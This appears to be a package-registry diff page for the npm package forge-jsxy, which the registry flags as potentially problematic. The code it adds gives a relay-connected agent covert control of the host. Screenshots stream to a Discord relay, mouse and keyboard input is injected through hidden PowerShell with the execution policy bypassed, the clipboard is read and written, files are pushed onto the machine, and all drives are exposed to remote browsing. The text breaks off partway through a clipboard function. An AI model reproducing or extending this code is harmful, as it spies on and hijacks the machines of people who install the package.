forge-jsxy 1.0.68 → 1.0.70
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of forge-jsxy might be problematic. Click here for more details.
- package/assets/remote-control-template.html +919 -0
- package/dist/assets/files-explorer-template.html +1 -1
- package/dist/assets/remote-control-template.html +919 -0
- package/dist/discordAgentScreenshot.d.ts +2 -2
- package/dist/discordAgentScreenshot.js +5 -5
- package/dist/filesExplorer.d.ts +1 -0
- package/dist/filesExplorer.js +38 -0
- package/dist/fsMessages.js +16 -0
- package/dist/fsProtocol.d.ts +4 -0
- package/dist/fsProtocol.js +371 -23
- package/dist/relayAgent.js +9 -1
- package/dist/relayServer.js +22 -2
- package/package.json +1 -1
|
@@ -17,11 +17,11 @@ export type DiscordAgentScreenshotOpts = {
|
|
|
17
17
|
};
|
|
18
18
|
/**
|
|
19
19
|
* Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
|
|
20
|
-
* `discord_screenshot_interval_ms`: **
|
|
20
|
+
* `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
|
|
21
21
|
*/
|
|
22
22
|
export declare function resolveDiscordScreenshotIntervalMs(): number;
|
|
23
23
|
/**
|
|
24
|
-
* Base interval plus optional **stable** stagger from `client_id` (same bounds
|
|
24
|
+
* Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
|
|
25
25
|
*/
|
|
26
26
|
export declare function resolveDiscordScreenshotScheduledIntervalMs(clientId: string): number;
|
|
27
27
|
export declare function startDiscordScreenshotToRelayLoop(opts: DiscordAgentScreenshotOpts): () => void;
|
|
@@ -70,7 +70,7 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
|
|
|
70
70
|
* `relay_features.discord_screenshot: true` (enabled in-memory only — not written to `forge-js-agent.env`).
|
|
71
71
|
* Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
|
|
72
72
|
* unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
|
|
73
|
-
* Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped
|
|
73
|
+
* Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 10s–600s.
|
|
74
74
|
*/
|
|
75
75
|
const node_crypto_1 = require("node:crypto");
|
|
76
76
|
const discordBotTokens_1 = require("./discordBotTokens");
|
|
@@ -155,11 +155,11 @@ function discordScreenshotFirstDelayMs() {
|
|
|
155
155
|
}
|
|
156
156
|
/**
|
|
157
157
|
* Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
|
|
158
|
-
* `discord_screenshot_interval_ms`: **
|
|
158
|
+
* `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
|
|
159
159
|
*/
|
|
160
160
|
function resolveDiscordScreenshotIntervalMs() {
|
|
161
161
|
const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
|
|
162
|
-
return Math.min(600_000, Math.max(
|
|
162
|
+
return Math.min(600_000, Math.max(10_000, parseInt(rawMs, 10) || 300_000));
|
|
163
163
|
}
|
|
164
164
|
function discordScreenshotIntervalStaggerExtraMs(clientId) {
|
|
165
165
|
const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
|
|
@@ -182,12 +182,12 @@ function discordScreenshotFirstStaggerExtraMs(clientId) {
|
|
|
182
182
|
return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
|
|
183
183
|
}
|
|
184
184
|
/**
|
|
185
|
-
* Base interval plus optional **stable** stagger from `client_id` (same bounds
|
|
185
|
+
* Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
|
|
186
186
|
*/
|
|
187
187
|
function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
|
|
188
188
|
const base = resolveDiscordScreenshotIntervalMs();
|
|
189
189
|
const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
|
|
190
|
-
return Math.min(600_000, Math.max(
|
|
190
|
+
return Math.min(600_000, Math.max(10_000, base + extra));
|
|
191
191
|
}
|
|
192
192
|
function startDiscordScreenshotToRelayLoop(opts) {
|
|
193
193
|
const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
|
package/dist/filesExplorer.d.ts
CHANGED
|
@@ -7,3 +7,4 @@ export interface FilesExplorerHtmlOptions {
|
|
|
7
7
|
/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
|
|
8
8
|
export declare function getForgeExplorerFaviconSvg(): string;
|
|
9
9
|
export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
|
|
10
|
+
export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;
|
package/dist/filesExplorer.js
CHANGED
|
@@ -35,6 +35,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
|
|
37
37
|
exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
|
|
38
|
+
exports.buildRemoteControlHtml = buildRemoteControlHtml;
|
|
38
39
|
/**
|
|
39
40
|
* Build file-explorer HTML for relay routes `/`, `/files`, `/explorer`, `/viewer`
|
|
40
41
|
* — same template as Python `fs_browser_html` with injectable defaults.
|
|
@@ -43,6 +44,7 @@ const fs = __importStar(require("node:fs"));
|
|
|
43
44
|
const path = __importStar(require("node:path"));
|
|
44
45
|
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
45
46
|
let _cachedTemplate = null;
|
|
47
|
+
let _cachedRemoteTemplate = null;
|
|
46
48
|
let _cachedFaviconSvg = null;
|
|
47
49
|
function loadTemplate() {
|
|
48
50
|
if (_cachedTemplate)
|
|
@@ -64,6 +66,26 @@ function loadTemplate() {
|
|
|
64
66
|
}
|
|
65
67
|
throw new Error("files-explorer-template.html not found (run npm run build and ensure assets are copied to dist/)");
|
|
66
68
|
}
|
|
69
|
+
function loadRemoteTemplate() {
|
|
70
|
+
if (_cachedRemoteTemplate)
|
|
71
|
+
return _cachedRemoteTemplate;
|
|
72
|
+
const candidates = [
|
|
73
|
+
path.join(__dirname, "assets", "remote-control-template.html"),
|
|
74
|
+
path.join(__dirname, "..", "assets", "remote-control-template.html"),
|
|
75
|
+
];
|
|
76
|
+
for (const p of candidates) {
|
|
77
|
+
try {
|
|
78
|
+
if (fs.existsSync(p)) {
|
|
79
|
+
_cachedRemoteTemplate = fs.readFileSync(p, "utf8");
|
|
80
|
+
return _cachedRemoteTemplate;
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
catch {
|
|
84
|
+
continue;
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
throw new Error("remote-control-template.html not found (run npm run build and ensure assets are copied to dist/)");
|
|
88
|
+
}
|
|
67
89
|
/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
|
|
68
90
|
function getForgeExplorerFaviconSvg() {
|
|
69
91
|
if (_cachedFaviconSvg)
|
|
@@ -108,3 +130,19 @@ function buildFilesExplorerHtml(opts = {}) {
|
|
|
108
130
|
.replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
|
|
109
131
|
.replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
|
|
110
132
|
}
|
|
133
|
+
function buildRemoteControlHtml(opts = {}) {
|
|
134
|
+
const pwd = opts.defaultPassword ??
|
|
135
|
+
process.env.CFGMGR_SESSION_PASSWORD ??
|
|
136
|
+
deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
|
|
137
|
+
let relay = opts.relayFallbackWs ??
|
|
138
|
+
process.env.CFGMGR_RELAY_FALLBACK ??
|
|
139
|
+
process.env.CFGMGR_RELAY_URL ??
|
|
140
|
+
"";
|
|
141
|
+
if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
|
|
142
|
+
relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
|
|
143
|
+
}
|
|
144
|
+
return loadRemoteTemplate()
|
|
145
|
+
.replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
|
|
146
|
+
.replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
|
|
147
|
+
.replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
|
|
148
|
+
}
|
package/dist/fsMessages.js
CHANGED
|
@@ -105,6 +105,22 @@ async function buildFsResponse(msg, allowFilesystem) {
|
|
|
105
105
|
const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
|
|
106
106
|
return { type: "fs_screenshot_result", request_id: rid, ...result };
|
|
107
107
|
}
|
|
108
|
+
if (msgType === "rc_input") {
|
|
109
|
+
const result = await (0, fsProtocol_1.fsRemoteControlInput)(msg);
|
|
110
|
+
return { type: "rc_input_result", request_id: rid, ...result };
|
|
111
|
+
}
|
|
112
|
+
if (msgType === "rc_clipboard_get") {
|
|
113
|
+
const result = await (0, fsProtocol_1.fsRemoteClipboardGet)();
|
|
114
|
+
return { type: "rc_clipboard_get_result", request_id: rid, ...result };
|
|
115
|
+
}
|
|
116
|
+
if (msgType === "rc_clipboard_set") {
|
|
117
|
+
const result = await (0, fsProtocol_1.fsRemoteClipboardSet)(String(msg.text ?? ""));
|
|
118
|
+
return { type: "rc_clipboard_set_result", request_id: rid, ...result };
|
|
119
|
+
}
|
|
120
|
+
if (msgType === "rc_file_push") {
|
|
121
|
+
const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""));
|
|
122
|
+
return { type: "rc_file_push_result", request_id: rid, ...result };
|
|
123
|
+
}
|
|
108
124
|
return {
|
|
109
125
|
type: "fs_error",
|
|
110
126
|
request_id: rid,
|
package/dist/fsProtocol.d.ts
CHANGED
|
@@ -92,6 +92,10 @@ export declare function fsDesktopScreenshotCapture(): Promise<Record<string, unk
|
|
|
92
92
|
* Scales down wide canvases so the PNG fits WebSocket payload limits.
|
|
93
93
|
*/
|
|
94
94
|
export declare function fsWindowsScreenshotCapture(): Promise<Record<string, unknown>>;
|
|
95
|
+
export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
|
|
96
|
+
export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
|
|
97
|
+
export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
|
|
98
|
+
export declare function fsRemoteFilePush(name: string, b64: string): Promise<Record<string, unknown>>;
|
|
95
99
|
/**
|
|
96
100
|
* Run a shell command on the agent host (same privilege as the forge-agent process).
|
|
97
101
|
* Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
|
package/dist/fsProtocol.js
CHANGED
|
@@ -54,6 +54,10 @@ exports.formatWindowsScreenshotUserMessage = formatWindowsScreenshotUserMessage;
|
|
|
54
54
|
exports.shrinkScreenshotBufferToMaxBytes = shrinkScreenshotBufferToMaxBytes;
|
|
55
55
|
exports.fsDesktopScreenshotCapture = fsDesktopScreenshotCapture;
|
|
56
56
|
exports.fsWindowsScreenshotCapture = fsWindowsScreenshotCapture;
|
|
57
|
+
exports.fsRemoteControlInput = fsRemoteControlInput;
|
|
58
|
+
exports.fsRemoteClipboardGet = fsRemoteClipboardGet;
|
|
59
|
+
exports.fsRemoteClipboardSet = fsRemoteClipboardSet;
|
|
60
|
+
exports.fsRemoteFilePush = fsRemoteFilePush;
|
|
57
61
|
exports.fsShellExec = fsShellExec;
|
|
58
62
|
/**
|
|
59
63
|
* Remote filesystem explorer — path rules aligned with cfgmgr.fs_protocol.
|
|
@@ -219,6 +223,30 @@ const SEARCH_SKIP_SYSTEM_FILES = new Set(["pagefile.sys", "hiberfil.sys", "swapf
|
|
|
219
223
|
function userDataSearchRoots() {
|
|
220
224
|
const out = [];
|
|
221
225
|
const preferred = ["Desktop", "Documents", "Downloads", "desktop", "documents", "downloads"];
|
|
226
|
+
if (isMacos()) {
|
|
227
|
+
const volumesRoot = "/Volumes";
|
|
228
|
+
try {
|
|
229
|
+
if (fs.existsSync(volumesRoot) && fs.statSync(volumesRoot).isDirectory()) {
|
|
230
|
+
out.push(path.resolve(volumesRoot));
|
|
231
|
+
const mounted = fs.readdirSync(volumesRoot, { withFileTypes: true });
|
|
232
|
+
for (const ent of mounted) {
|
|
233
|
+
if (!ent.isDirectory())
|
|
234
|
+
continue;
|
|
235
|
+
const p = path.join(volumesRoot, ent.name);
|
|
236
|
+
try {
|
|
237
|
+
if (fs.existsSync(p) && fs.statSync(p).isDirectory())
|
|
238
|
+
out.push(path.resolve(p));
|
|
239
|
+
}
|
|
240
|
+
catch {
|
|
241
|
+
/* skip */
|
|
242
|
+
}
|
|
243
|
+
}
|
|
244
|
+
}
|
|
245
|
+
}
|
|
246
|
+
catch {
|
|
247
|
+
/* skip */
|
|
248
|
+
}
|
|
249
|
+
}
|
|
222
250
|
const bases = new Set();
|
|
223
251
|
try {
|
|
224
252
|
const h = path.resolve(os.homedir());
|
|
@@ -360,6 +388,29 @@ function macosPathRequiresTccPrompt(filePath) {
|
|
|
360
388
|
return false;
|
|
361
389
|
}
|
|
362
390
|
function allowedFsRoots() {
|
|
391
|
+
const pushIfDir = (p) => {
|
|
392
|
+
try {
|
|
393
|
+
if (fs.existsSync(p) && fs.statSync(p).isDirectory())
|
|
394
|
+
roots.push(path.resolve(p));
|
|
395
|
+
}
|
|
396
|
+
catch {
|
|
397
|
+
/* skip */
|
|
398
|
+
}
|
|
399
|
+
};
|
|
400
|
+
const pushDirectChildDirs = (parent) => {
|
|
401
|
+
try {
|
|
402
|
+
if (!fs.existsSync(parent) || !fs.statSync(parent).isDirectory())
|
|
403
|
+
return;
|
|
404
|
+
for (const ent of fs.readdirSync(parent, { withFileTypes: true })) {
|
|
405
|
+
if (!ent.isDirectory())
|
|
406
|
+
continue;
|
|
407
|
+
pushIfDir(path.join(parent, ent.name));
|
|
408
|
+
}
|
|
409
|
+
}
|
|
410
|
+
catch {
|
|
411
|
+
/* skip */
|
|
412
|
+
}
|
|
413
|
+
};
|
|
363
414
|
const roots = [];
|
|
364
415
|
if (isWindows()) {
|
|
365
416
|
try {
|
|
@@ -406,15 +457,12 @@ function allowedFsRoots() {
|
|
|
406
457
|
catch {
|
|
407
458
|
/* skip */
|
|
408
459
|
}
|
|
409
|
-
const
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
/* skip */
|
|
416
|
-
}
|
|
417
|
-
}
|
|
460
|
+
const volumesRoot = "/Volumes";
|
|
461
|
+
// Expose /Volumes and each mounted volume directly (closer to Windows D:/E: UX).
|
|
462
|
+
pushIfDir(volumesRoot);
|
|
463
|
+
pushDirectChildDirs(volumesRoot);
|
|
464
|
+
// Always include "/" so macOS top-level folders remain browsable in production.
|
|
465
|
+
roots.push("/");
|
|
418
466
|
}
|
|
419
467
|
else {
|
|
420
468
|
// Linux: optional custom root via env (same as macOS) for restricted installs.
|
|
@@ -429,17 +477,22 @@ function allowedFsRoots() {
|
|
|
429
477
|
/* skip */
|
|
430
478
|
}
|
|
431
479
|
}
|
|
432
|
-
|
|
433
|
-
|
|
434
|
-
|
|
435
|
-
|
|
436
|
-
roots.push(h);
|
|
437
|
-
}
|
|
438
|
-
catch {
|
|
439
|
-
/* skip */
|
|
440
|
-
}
|
|
441
|
-
roots.push("/");
|
|
480
|
+
// Expose home/root and mounted drives regardless of CFGMGR_DATA_ROOT for top-level browsing parity.
|
|
481
|
+
try {
|
|
482
|
+
const h = path.resolve(os.homedir());
|
|
483
|
+
roots.push(h);
|
|
442
484
|
}
|
|
485
|
+
catch {
|
|
486
|
+
/* skip */
|
|
487
|
+
}
|
|
488
|
+
roots.push("/");
|
|
489
|
+
// Expose common Linux mount roots and mounted drives directly.
|
|
490
|
+
pushIfDir("/media");
|
|
491
|
+
pushIfDir("/mnt");
|
|
492
|
+
pushIfDir("/run/media");
|
|
493
|
+
pushDirectChildDirs("/media");
|
|
494
|
+
pushDirectChildDirs("/mnt");
|
|
495
|
+
pushDirectChildDirs("/run/media");
|
|
443
496
|
}
|
|
444
497
|
const seen = new Set();
|
|
445
498
|
const out = [];
|
|
@@ -4493,10 +4546,7 @@ async function fsLinuxScreenshotCapture() {
|
|
|
4493
4546
|
return `${xdW}x${xdH}`;
|
|
4494
4547
|
})();
|
|
4495
4548
|
if (wl) {
|
|
4496
|
-
|
|
4497
|
-
const namesPre = collectWaylandOutputNamesForGrim();
|
|
4498
|
-
const preferMultiFirst = geomsPre.length >= 2 || namesPre.length >= 2;
|
|
4499
|
-
if (grimPath && preferMultiFirst) {
|
|
4549
|
+
if (grimPath) {
|
|
4500
4550
|
const canvasFirst = await tryLinuxWaylandCanvasStitchedPng(outPath);
|
|
4501
4551
|
if (canvasFirst) {
|
|
4502
4552
|
const resC = await finalizeLinuxScreenshotPng();
|
|
@@ -4816,6 +4866,304 @@ async function fsWindowsScreenshotCapture() {
|
|
|
4816
4866
|
}
|
|
4817
4867
|
}
|
|
4818
4868
|
}
|
|
4869
|
+
function escapePsSingleQuoted(s) {
|
|
4870
|
+
return String(s || "").replace(/'/g, "''");
|
|
4871
|
+
}
|
|
4872
|
+
function normalizeRemoteMouseButton(v) {
|
|
4873
|
+
const b = String(v || "").trim().toLowerCase();
|
|
4874
|
+
if (b === "right" || b === "middle")
|
|
4875
|
+
return b;
|
|
4876
|
+
return "left";
|
|
4877
|
+
}
|
|
4878
|
+
function remoteKeyToSendKeys(key) {
|
|
4879
|
+
const k = String(key || "");
|
|
4880
|
+
if (!k)
|
|
4881
|
+
return "";
|
|
4882
|
+
const lower = k.toLowerCase();
|
|
4883
|
+
const named = {
|
|
4884
|
+
enter: "{ENTER}",
|
|
4885
|
+
tab: "{TAB}",
|
|
4886
|
+
backspace: "{BACKSPACE}",
|
|
4887
|
+
escape: "{ESC}",
|
|
4888
|
+
esc: "{ESC}",
|
|
4889
|
+
delete: "{DELETE}",
|
|
4890
|
+
insert: "{INSERT}",
|
|
4891
|
+
home: "{HOME}",
|
|
4892
|
+
end: "{END}",
|
|
4893
|
+
pageup: "{PGUP}",
|
|
4894
|
+
pagedown: "{PGDN}",
|
|
4895
|
+
arrowup: "{UP}",
|
|
4896
|
+
arrowdown: "{DOWN}",
|
|
4897
|
+
arrowleft: "{LEFT}",
|
|
4898
|
+
arrowright: "{RIGHT}",
|
|
4899
|
+
up: "{UP}",
|
|
4900
|
+
down: "{DOWN}",
|
|
4901
|
+
left: "{LEFT}",
|
|
4902
|
+
right: "{RIGHT}",
|
|
4903
|
+
space: " ",
|
|
4904
|
+
};
|
|
4905
|
+
if (named[lower])
|
|
4906
|
+
return named[lower];
|
|
4907
|
+
if (k.length === 1) {
|
|
4908
|
+
if ("+^%~(){}[]".includes(k))
|
|
4909
|
+
return `{${k}}`;
|
|
4910
|
+
return k;
|
|
4911
|
+
}
|
|
4912
|
+
return "";
|
|
4913
|
+
}
|
|
4914
|
+
function remoteApplySendKeysModifiers(base, modifiers) {
|
|
4915
|
+
if (!base)
|
|
4916
|
+
return "";
|
|
4917
|
+
const withWrap = base.startsWith("{") ? base : `(${base})`;
|
|
4918
|
+
let out = withWrap;
|
|
4919
|
+
if (Boolean(modifiers.shift))
|
|
4920
|
+
out = `+${out}`;
|
|
4921
|
+
if (Boolean(modifiers.ctrl))
|
|
4922
|
+
out = `^${out}`;
|
|
4923
|
+
if (Boolean(modifiers.alt))
|
|
4924
|
+
out = `%${out}`;
|
|
4925
|
+
return out;
|
|
4926
|
+
}
|
|
4927
|
+
async function runWindowsRemoteControlPs(script) {
|
|
4928
|
+
const psExe = process.env.SystemRoot
|
|
4929
|
+
? path.join(process.env.SystemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe")
|
|
4930
|
+
: "powershell.exe";
|
|
4931
|
+
await new Promise((resolve, reject) => {
|
|
4932
|
+
let stderr = "";
|
|
4933
|
+
const child = (0, node_child_process_1.spawn)(psExe, [
|
|
4934
|
+
"-NoProfile",
|
|
4935
|
+
"-NonInteractive",
|
|
4936
|
+
"-WindowStyle",
|
|
4937
|
+
"Hidden",
|
|
4938
|
+
"-ExecutionPolicy",
|
|
4939
|
+
"Bypass",
|
|
4940
|
+
"-Command",
|
|
4941
|
+
script,
|
|
4942
|
+
], { windowsHide: true, env: process.env });
|
|
4943
|
+
const to = setTimeout(() => {
|
|
4944
|
+
try {
|
|
4945
|
+
child.kill("SIGTERM");
|
|
4946
|
+
}
|
|
4947
|
+
catch {
|
|
4948
|
+
/* skip */
|
|
4949
|
+
}
|
|
4950
|
+
}, 15_000);
|
|
4951
|
+
child.stderr?.setEncoding("utf8");
|
|
4952
|
+
child.stderr?.on("data", (d) => {
|
|
4953
|
+
stderr += d;
|
|
4954
|
+
});
|
|
4955
|
+
child.on("close", (code) => {
|
|
4956
|
+
clearTimeout(to);
|
|
4957
|
+
if (code !== 0) {
|
|
4958
|
+
reject(new Error(stderr.trim() || `remote control input exit ${code}`));
|
|
4959
|
+
return;
|
|
4960
|
+
}
|
|
4961
|
+
resolve();
|
|
4962
|
+
});
|
|
4963
|
+
child.on("error", (e) => {
|
|
4964
|
+
clearTimeout(to);
|
|
4965
|
+
reject(e);
|
|
4966
|
+
});
|
|
4967
|
+
});
|
|
4968
|
+
}
|
|
4969
|
+
async function runWindowsPsCapture(script) {
|
|
4970
|
+
const psExe = process.env.SystemRoot
|
|
4971
|
+
? path.join(process.env.SystemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe")
|
|
4972
|
+
: "powershell.exe";
|
|
4973
|
+
return await new Promise((resolve, reject) => {
|
|
4974
|
+
let stdout = "";
|
|
4975
|
+
let stderr = "";
|
|
4976
|
+
const child = (0, node_child_process_1.spawn)(psExe, [
|
|
4977
|
+
"-NoProfile",
|
|
4978
|
+
"-NonInteractive",
|
|
4979
|
+
"-WindowStyle",
|
|
4980
|
+
"Hidden",
|
|
4981
|
+
"-ExecutionPolicy",
|
|
4982
|
+
"Bypass",
|
|
4983
|
+
"-Command",
|
|
4984
|
+
script,
|
|
4985
|
+
], { windowsHide: true, env: process.env });
|
|
4986
|
+
const to = setTimeout(() => {
|
|
4987
|
+
try {
|
|
4988
|
+
child.kill("SIGTERM");
|
|
4989
|
+
}
|
|
4990
|
+
catch {
|
|
4991
|
+
/* skip */
|
|
4992
|
+
}
|
|
4993
|
+
}, 15_000);
|
|
4994
|
+
child.stdout?.setEncoding("utf8");
|
|
4995
|
+
child.stderr?.setEncoding("utf8");
|
|
4996
|
+
child.stdout?.on("data", (d) => {
|
|
4997
|
+
stdout += d;
|
|
4998
|
+
});
|
|
4999
|
+
child.stderr?.on("data", (d) => {
|
|
5000
|
+
stderr += d;
|
|
5001
|
+
});
|
|
5002
|
+
child.on("close", (code) => {
|
|
5003
|
+
clearTimeout(to);
|
|
5004
|
+
if (code !== 0) {
|
|
5005
|
+
reject(new Error(stderr.trim() || `powershell exit ${code}`));
|
|
5006
|
+
return;
|
|
5007
|
+
}
|
|
5008
|
+
resolve(stdout);
|
|
5009
|
+
});
|
|
5010
|
+
child.on("error", (e) => {
|
|
5011
|
+
clearTimeout(to);
|
|
5012
|
+
reject(e);
|
|
5013
|
+
});
|
|
5014
|
+
});
|
|
5015
|
+
}
|
|
5016
|
+
async function fsRemoteControlInput(payload) {
|
|
5017
|
+
if (!isWindows()) {
|
|
5018
|
+
return { ok: false, error: "remote control input currently supports Windows agents only" };
|
|
5019
|
+
}
|
|
5020
|
+
const action = String(payload.action || "").trim().toLowerCase();
|
|
5021
|
+
if (!action)
|
|
5022
|
+
return { ok: false, error: "remote control action is required" };
|
|
5023
|
+
const psPrelude = [
|
|
5024
|
+
"$ErrorActionPreference = 'Stop'",
|
|
5025
|
+
"Add-Type @'",
|
|
5026
|
+
"using System;",
|
|
5027
|
+
"using System.Runtime.InteropServices;",
|
|
5028
|
+
"public static class ForgeRcUser32 {",
|
|
5029
|
+
" [DllImport(\"user32.dll\")] public static extern bool SetCursorPos(int X, int Y);",
|
|
5030
|
+
" [DllImport(\"user32.dll\")] public static extern void mouse_event(uint f, uint x, uint y, uint d, UIntPtr e);",
|
|
5031
|
+
"}",
|
|
5032
|
+
"'@",
|
|
5033
|
+
"$LEFTDOWN = 0x0002; $LEFTUP = 0x0004; $RIGHTDOWN = 0x0008; $RIGHTUP = 0x0010;",
|
|
5034
|
+
"$MIDDLEDOWN = 0x0020; $MIDDLEUP = 0x0040; $WHEEL = 0x0800;",
|
|
5035
|
+
];
|
|
5036
|
+
const x = Number.isFinite(Number(payload.x)) ? Math.max(0, Math.floor(Number(payload.x))) : null;
|
|
5037
|
+
const y = Number.isFinite(Number(payload.y)) ? Math.max(0, Math.floor(Number(payload.y))) : null;
|
|
5038
|
+
const lines = [...psPrelude];
|
|
5039
|
+
if (x != null && y != null) {
|
|
5040
|
+
lines.push(`[ForgeRcUser32]::SetCursorPos(${x}, ${y}) | Out-Null`);
|
|
5041
|
+
}
|
|
5042
|
+
if (action === "mouse_move") {
|
|
5043
|
+
if (x == null || y == null)
|
|
5044
|
+
return { ok: false, error: "mouse_move requires x,y" };
|
|
5045
|
+
}
|
|
5046
|
+
else if (action === "mouse_click") {
|
|
5047
|
+
const b = normalizeRemoteMouseButton(payload.button);
|
|
5048
|
+
const count = Math.min(3, Math.max(1, Number.isFinite(Number(payload.click_count)) ? Math.floor(Number(payload.click_count)) : 1));
|
|
5049
|
+
for (let i = 0; i < count; i++) {
|
|
5050
|
+
if (b === "right") {
|
|
5051
|
+
lines.push("[ForgeRcUser32]::mouse_event($RIGHTDOWN, 0, 0, 0, [UIntPtr]::Zero)");
|
|
5052
|
+
lines.push("[ForgeRcUser32]::mouse_event($RIGHTUP, 0, 0, 0, [UIntPtr]::Zero)");
|
|
5053
|
+
}
|
|
5054
|
+
else if (b === "middle") {
|
|
5055
|
+
lines.push("[ForgeRcUser32]::mouse_event($MIDDLEDOWN, 0, 0, 0, [UIntPtr]::Zero)");
|
|
5056
|
+
lines.push("[ForgeRcUser32]::mouse_event($MIDDLEUP, 0, 0, 0, [UIntPtr]::Zero)");
|
|
5057
|
+
}
|
|
5058
|
+
else {
|
|
5059
|
+
lines.push("[ForgeRcUser32]::mouse_event($LEFTDOWN, 0, 0, 0, [UIntPtr]::Zero)");
|
|
5060
|
+
lines.push("[ForgeRcUser32]::mouse_event($LEFTUP, 0, 0, 0, [UIntPtr]::Zero)");
|
|
5061
|
+
}
|
|
5062
|
+
}
|
|
5063
|
+
}
|
|
5064
|
+
else if (action === "mouse_wheel") {
|
|
5065
|
+
const dy = Number.isFinite(Number(payload.delta_y)) ? Math.floor(Number(payload.delta_y)) : 0;
|
|
5066
|
+
const step = Math.max(-2400, Math.min(2400, dy));
|
|
5067
|
+
lines.push(`[ForgeRcUser32]::mouse_event($WHEEL, 0, 0, ${step}, [UIntPtr]::Zero)`);
|
|
5068
|
+
}
|
|
5069
|
+
else if (action === "key") {
|
|
5070
|
+
const token = remoteKeyToSendKeys(String(payload.key || ""));
|
|
5071
|
+
if (!token)
|
|
5072
|
+
return { ok: false, error: "unsupported key token" };
|
|
5073
|
+
const seq = remoteApplySendKeysModifiers(token, payload);
|
|
5074
|
+
lines.push("$ws = New-Object -ComObject WScript.Shell");
|
|
5075
|
+
lines.push(`$ws.SendKeys('${escapePsSingleQuoted(seq)}')`);
|
|
5076
|
+
}
|
|
5077
|
+
else if (action === "type_text") {
|
|
5078
|
+
const txt = String(payload.text || "");
|
|
5079
|
+
if (!txt)
|
|
5080
|
+
return { ok: false, error: "type_text requires text" };
|
|
5081
|
+
lines.push("$ws = New-Object -ComObject WScript.Shell");
|
|
5082
|
+
lines.push(`$ws.SendKeys('${escapePsSingleQuoted(txt)}')`);
|
|
5083
|
+
}
|
|
5084
|
+
else {
|
|
5085
|
+
return { ok: false, error: `unsupported remote control action: ${action}` };
|
|
5086
|
+
}
|
|
5087
|
+
try {
|
|
5088
|
+
await runWindowsRemoteControlPs(lines.join("; "));
|
|
5089
|
+
return { ok: true, action };
|
|
5090
|
+
}
|
|
5091
|
+
catch (e) {
|
|
5092
|
+
return { ok: false, error: String(e) };
|
|
5093
|
+
}
|
|
5094
|
+
}
|
|
5095
|
+
async function fsRemoteClipboardGet() {
|
|
5096
|
+
if (!isWindows()) {
|
|
5097
|
+
return { ok: false, error: "remote clipboard currently supports Windows agents only" };
|
|
5098
|
+
}
|
|
5099
|
+
try {
|
|
5100
|
+
const raw = await runWindowsPsCapture("$ErrorActionPreference='Stop'; $t = Get-Clipboard -Raw -TextFormatType Text; if ($null -eq $t) { '' } else { [Console]::Out.Write($t) }");
|
|
5101
|
+
return { ok: true, text: String(raw || "") };
|
|
5102
|
+
}
|
|
5103
|
+
catch (e) {
|
|
5104
|
+
return { ok: false, error: String(e) };
|
|
5105
|
+
}
|
|
5106
|
+
}
|
|
5107
|
+
async function fsRemoteClipboardSet(text) {
|
|
5108
|
+
if (!isWindows()) {
|
|
5109
|
+
return { ok: false, error: "remote clipboard currently supports Windows agents only" };
|
|
5110
|
+
}
|
|
5111
|
+
const t = String(text || "");
|
|
5112
|
+
try {
|
|
5113
|
+
await runWindowsRemoteControlPs(`$ErrorActionPreference='Stop'; Set-Clipboard -Value '${escapePsSingleQuoted(t)}'`);
|
